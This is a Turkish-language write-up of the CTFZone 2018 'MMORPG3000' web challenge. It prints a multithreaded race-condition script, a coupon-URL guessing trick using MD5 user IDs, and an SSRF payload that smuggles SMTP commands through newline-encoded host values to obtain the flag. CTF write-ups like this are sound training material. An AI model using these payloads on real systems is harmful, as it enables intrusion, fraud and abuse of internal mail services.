MMORPG3000 - CTFZone 2018

MMORPG3000

1
2
3
4
Here is a new generation mmorpg game, where you can beat your friends, just finished crowdfunding campaign and available on your PC starting today. It's a bit buggy, but you know...
I heard that developers of this game are really greedy.

http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/game/battle/competitors/

Linke gittik, üye olduktan sonra karşımıza böyle bir sayfa çıktı.

Bedava kuponumuzu almak üzere donate sayfasına gittik.

Kuponumuzu girdik ve karşımıza böyle bir resim çıktı

Resimin URL‘si şu şekildeydi;

1
http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_aa2a77371374094fe9e0bc1de3f94ed9.png

coupon_aa2a77371374094fe9e0bc1de3f94ed9 kısmındaki hash kısmı userid’in hash hali olduğunu fark ettik. Başka sayı hashleyip denedik.

1682‘in MD5‘ini aldık ve denedik 6a81681a7af700c6385d36577ebec359

1
http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_6a81681a7af700c6385d36577ebec359.png

b92ee610-4289 çıktı ve kuponu denedik 1 balance verdi. bir kaç kupoon daha denedik ve 1349 cuponumuz oldu.

Para ile level atlattik fakat level 30’un üstüne para ile geçilmediğini öğrendik. Belki Race Condition vardır diye çok thread ile aynı isteği başka bir hesapla denedik

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import threading

threadArray = []

class expClass(threading.Thread):

burp0_url = "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one:80/donate/lvlup"
burp0_cookies = {"session": "eyJ1aWQiOjgyOX0.DjeKvA.qA-vNIHjDFSPyuDwArZyGMQD984"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/info", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

def __init__(self, numMain):
super(expClass, self).__init__()

def ham(self):
requests.get(self.burp0_url, headers=self.burp0_headers, cookies=self.burp0_cookies)

def run(self):
self.ham()

thr = 900

for i in range(0, thr ):
threadcan = expClass(i)
threadArray.append(threadcan)
for i in range(0, thr):
threadArray[i].start()
print G + "thread girdi => " + str(i)
for i in range(0, thr):
threadArray[i].join()
print R + "thread cikti => " + str(i)

Ve 30’uncu leveli geçtik

30’uncu leveli geçtiğimizden dolayı Avatar ekleme özelliği açıldı.

Upload olayında birşey yoktu. SSRF‘tir diye düşündük. 127.0.0.1 ve localhost engelliydi bu yüzden SSRF olduğuna emin olduk. 0.0.0.0 adresini denedik ve yediğini fark ettik. Port taramaya başladık.

25‘ci port yani SMTP portu açıktı. Host‘u manipüle ederek SMTP‘yi kullanmayı denedik.

1
2
3
4
5
6
7
8
9
10
Host: [0.0.0.0
helo 1v3m
mail from:<qaewjlfnwej@o3enzyme.com>
rcpt to:<root>
data
subject: give me flag

1v3m
.
]:25

Yeni satır ayıracı SMTP‘de delimiter olduğu için her satırın sonuna yeni satırın URL Encoded hali olan %0A‘yı ekledik ve son payloadımızın son hali

1
[0.0.0.0%0ahelo 1v3m%0amail from:<qaewjlfnwej@o3enzyme.com>%0arcpt to:<root>%0adata%0asubject: give me flag%0a%0a1v3m%0a.%0a]:25

Request‘imizin son hali şöyle oldu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /user/avatar HTTP/1.1
Host: web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatar
Content-Type: multipart/form-data; boundary=---------------------------4693211868403427471435307016
Content-Length: 581
Cookie: session=eyJ1aWQiOjgyN30.DjaSgA.ylhJXkstamQ7GahYWvUypKpvDQc
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------4693211868403427471435307016
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream


-----------------------------4693211868403427471435307016
Content-Disposition: form-data; name="url"

https://[0.0.0.0%0ahelo 1v3m%0amail from:<qaewjlfnwej@o3enzyme.com>%0arcpt to:<root>%0adata%0asubject: give me flag%0a%0a1v3m%0a.%0a]:25
-----------------------------4693211868403427471435307016
Content-Disposition: form-data; name="action"

save
-----------------------------4693211868403427471435307016--

Flag mailimize geldi

ve flag

1
ctfzone{1640392aaf27597150c97e04a99a6f08}